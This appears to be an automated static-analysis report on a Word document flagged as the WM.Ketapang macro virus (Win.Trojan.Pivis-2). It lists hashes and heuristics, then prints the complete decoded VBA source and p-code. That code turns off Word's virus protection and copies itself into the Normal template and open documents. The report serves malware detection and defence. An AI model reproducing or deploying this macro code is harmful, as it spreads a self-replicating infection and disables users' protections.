Win.Trojan.Pivis-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 3f75a51fa9f797c3…

MALICIOUS

Office (OLE)

95.5 KB Created: 1998-11-29 06:36:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c1c536b0e30631dbe1f0fd6d8e028b50 SHA-1: 8f9a7b6de8adb56101cf3a8ad016b2578a0b2773 SHA-256: 3f75a51fa9f797c3f8861aa5542880a301c26182d09997b5b192e5565a985bad
196 Risk Score

Malware Insights

Win.Trojan.Pivis-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits high-severity heuristics for legacy WordBasic and VBA macros, including AutoOpen and AutoClose functions, indicating malicious intent. The embedded VBA script, identified as 'ketapang', explicitly mentions 'Virus Name = WM.Ketapang aka kerusuhan' and attempts to export its components to the file system, suggesting it acts as a dropper for further malicious activity. The ClamAV detection further supports its classification as Win.Trojan.Pivis-2.

Heuristics 6

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub autoclose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8661 bytes
SHA-256: 211b9b94dfe1070ba8f20553013ec8b18c090e3fa52899739baa472b4d43e831
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "foxz"
Sub autoclose()
On Error Resume Next
ketapang.Show
End Sub
Sub ToolsMacro()
End Sub
Sub FileTemplates()
End Sub
Sub ViewVBCode()
End Sub
Sub HelpWordPerfectHelp()
End Sub
Sub ToolsCustomize()
End Sub
Sub autoopen()
If Day(Now()) = 1 And Month(Now()) = 1 Then nvt.Show
End Sub


Attribute VB_Name = "nvt"
Attribute VB_Base = "0{C76E4A40-8790-11D2-9582-0080C7C7D0C4}{C76E4A2A-8790-11D2-9582-0080C7C7D0C4}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub CommandButton1_Click()
Unload nvt
End Sub


Attribute VB_Name = "ketapang"
Attribute VB_Base = "0{C76E4A3A-8790-11D2-9582-0080C7C7D0C4}{C76E4A34-8790-11D2-9582-0080C7C7D0C4}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


'Virus Name = WM.Ketapang aka kerusuhan
'author = foxz of NoMercyVirusTeam
'released = the end of November
'dangerous = NO!
'PLease GoD help my COuntry i'm boring with
'promise from my gov.

Sub ketap()
On Error Resume Next
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Application.VBE.ActiveVBProject.VBComponents("ketapang").Export "c:\ketapang.frm"
Application.VBE.ActiveVBProject.VBComponents("nvt").Export "c:\nvt.frm"
Application.VBE.ActiveVBProject.VBComponents("foxz").Export "c:\foxz.mdl"
NormalTemplate.VBProject.VBComponents.import "c:\ketapang.frm"
NormalTemplate.VBProject.VBComponents.import "c:\nvt.frm"
ActiveDocument.VBProject.VBComponents.import "c:\ketapang.frm"
ActiveDocument.VBProject.VBComponents.import "c:\nvt.frm"
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
'a code from Mr.vic
If ActiveDocument.VBProject.VBComponents(i).Name = "foxz" Then X = True
Next i
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "foxz" Then Y = True
Next i
If X = True And Y = False Then Set Z = NormalTemplate.VBProject.VBComponents
If X = False And Y = True Then Set Z = ActiveDocument.VBProject.VBComponents
Z.import "c:\foxz.mdl"
End Sub

Private Sub CommandButton1_Click()
On Error Resume Next
Call ketap
Unload ketapang
ActiveDocument.Save
ActiveDocument.Close
End Sub

Private Sub CommandButton3_Click()
Unload ketapang
End Sub

Private Sub Image1_Click()

End Sub

Private Sub Label1_Click()

End Sub
Private Sub CommandButton2_Click()
On Error Resume Next
Call ketap
Unload ketapang
End Sub

Private Sub UserForm_Click()

End Sub


' Processing file: /tmp/qstore_drxeuzh8
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/foxz - 1723 bytes
' Line #0:
' 	FuncDefn (Sub autoclose())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ketapang 
' 	ArgsMemCall Show 0x0000 
' Line #3:
' 	EndSub 
' Line #4:
' 	FuncDefn (Sub ToolsMacro())
' Line #5:
' 	EndSub 
' Line #6:
' 	FuncDefn (Sub FileTemplates())
' Line #7:
' 	EndSub 
' Line #8:
' 	FuncDefn (Sub ViewVBCode())
' Line #9:
' 	EndSub 
' Line #10:
' 	FuncDefn (Sub HelpWordPerfectHelp())
' Line #11:
' 	EndSub 
' Line #12:
' 	FuncDefn (Sub ToolsCustomize())
' Line #13:
' 	EndSub 
' Line #14:
' 	FuncDefn (Sub autoopen())
' Line #15:
' 	ArgsLd Now 0x0000 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0001 
' 	Eq 
' 	ArgsLd Now 0x0000 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x0001 
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld nvt 
' 	ArgsMemCall Show 0x0000 
' 	EndIf 
' Line #16:
' 	EndSub 
' Line #17:
' Macros/VBA/nvt - 1326 bytes
' Line #0:
' Line #1:
' Line #2:
' 	FuncDefn (Private Sub CommandButton1_Click())
' Line #3:
' 	Ld nvt 
' 	ArgsCall Unlock 0x0001 
' Line #4:
' 	EndSub 
' Line #5:
' Macros/VBA/ketapang - 4126 bytes
' Line #0:
' Line #1:
' Line #2:
' 	QuoteRem 0x0000 0x0026 "Virus Name = WM.Ketapang aka kerusuhan"
' Line #3:
' 	QuoteRem 0x0000 0x0021 "author = foxz of NoMercyVirusTeam"
' Line #4:
' 	QuoteRem 0x0000 0x001E "released = the end of November"
' Line #5:
' 	QuoteRem 0x0000 0x000F "dangerous = NO!"
' Line #6:
' 	QuoteRem 0x0000 0x002A "PLease GoD help my COuntry i'm boring with"
' Line #7:
' 	QuoteRem 0x0000 0x0014 "promise from my gov."
' Line #8:
' Line #9:
' 	FuncDefn (Sub ketap())
' Line #10:
' 	OnError (Resume Next) 
' Line #11:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #12:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #13:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #14:
' 	LitStr 0x000F "c:\ketapang.frm"
' 	LitStr 0x0008 "ketapang"
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #15:
' 	LitStr 0x000A "c:\nvt.frm"
' 	LitStr 0x0003 "nvt"
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #16:
' 	LitStr 0x000B "c:\foxz.mdl"
' 	LitStr 0x0004 "foxz"
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #17:
' 	LitStr 0x000F "c:\ketapang.frm"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall import 0x0001 
' Line #18:
' 	LitStr 0x000A "c:\nvt.frm"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall import 0x0001 
' Line #19:
' 	LitStr 0x000F "c:\ketapang.frm"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall import 0x0001 
' Line #20:
' 	LitStr 0x000A "c:\nvt.frm"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall import 0x0001 
' Line #21:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #22:
' 	QuoteRem 0x0000 0x0012 "a code from Mr.vic"
' Line #23:
' 	Ld i 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0004 "foxz"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St X 
' 	EndIf 
' Line #24:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #25:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #26:
' 	Ld i 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0004 "foxz"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St Y 
' 	EndIf 
' Line #27:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #28:
' 	Ld X 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld Y 
' 	LitVarSpecial (False)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set Z 
' 	EndIf 
' Line #29:
' 	Ld X 
' 	LitVarSpecial (False)
' 	Eq 
' 	Ld Y 
' 	LitVarSpecial (True)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set Z 
' 	EndIf 
' Line #30:
' 	LitStr 0x000B "c:\foxz.mdl"
' 	Ld Z 
' 	ArgsMemCall import 0x0001 
' Line #31:
' 	EndSub 
' Line #32:
' Line #33:
' 	FuncDefn (Private Sub CommandButton1_Click())
' Line #34:
' 	OnError (Resume Next) 
' Line #35:
' 	ArgsCall (Call) ketap 0x0000 
' Line #36:
' 	Ld ketapang 
' 	ArgsCall Unlock 0x0001 
' Line #37:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #38:
' 	Ld ActiveDocument 
' 	ArgsMemCall Close 0x0000 
' Line #39:
' 	EndSub 
' Line #40:
' Line #41:
' 	FuncDefn (Private Sub CommandButton3_Click())
' Line #42:
' 	Ld ketapang 
' 	ArgsCall Unlock 0x0001 
' Line #43:
' 	EndSub 
' Line #44:
' Line #45:
' 	FuncDefn (Private Sub Image1_Click())
' Line #46:
' Line #47:
' 	EndSub 
' Line #48:
' Line #49:
' 	FuncDefn (Private Sub Label1_Click())
' Line #50:
' Line #51:
' 	EndSub 
' Line #52:
' 	FuncDefn (Private Sub CommandButton2_Click())
' Line #53:
' 	OnError (Resume Next) 
' Line #54:
' 	ArgsCall (Call) ketap 0x0000 
' Line #55:
' 	Ld ketapang 
' 	ArgsCall Unlock 0x0001 
' Line #56:
' 	EndSub 
' Line #57:
' Line #58:
' 	FuncDefn (Private Sub UserForm_Click())
' Line #59:
' Line #60:
' 	EndSub 
' Line #61: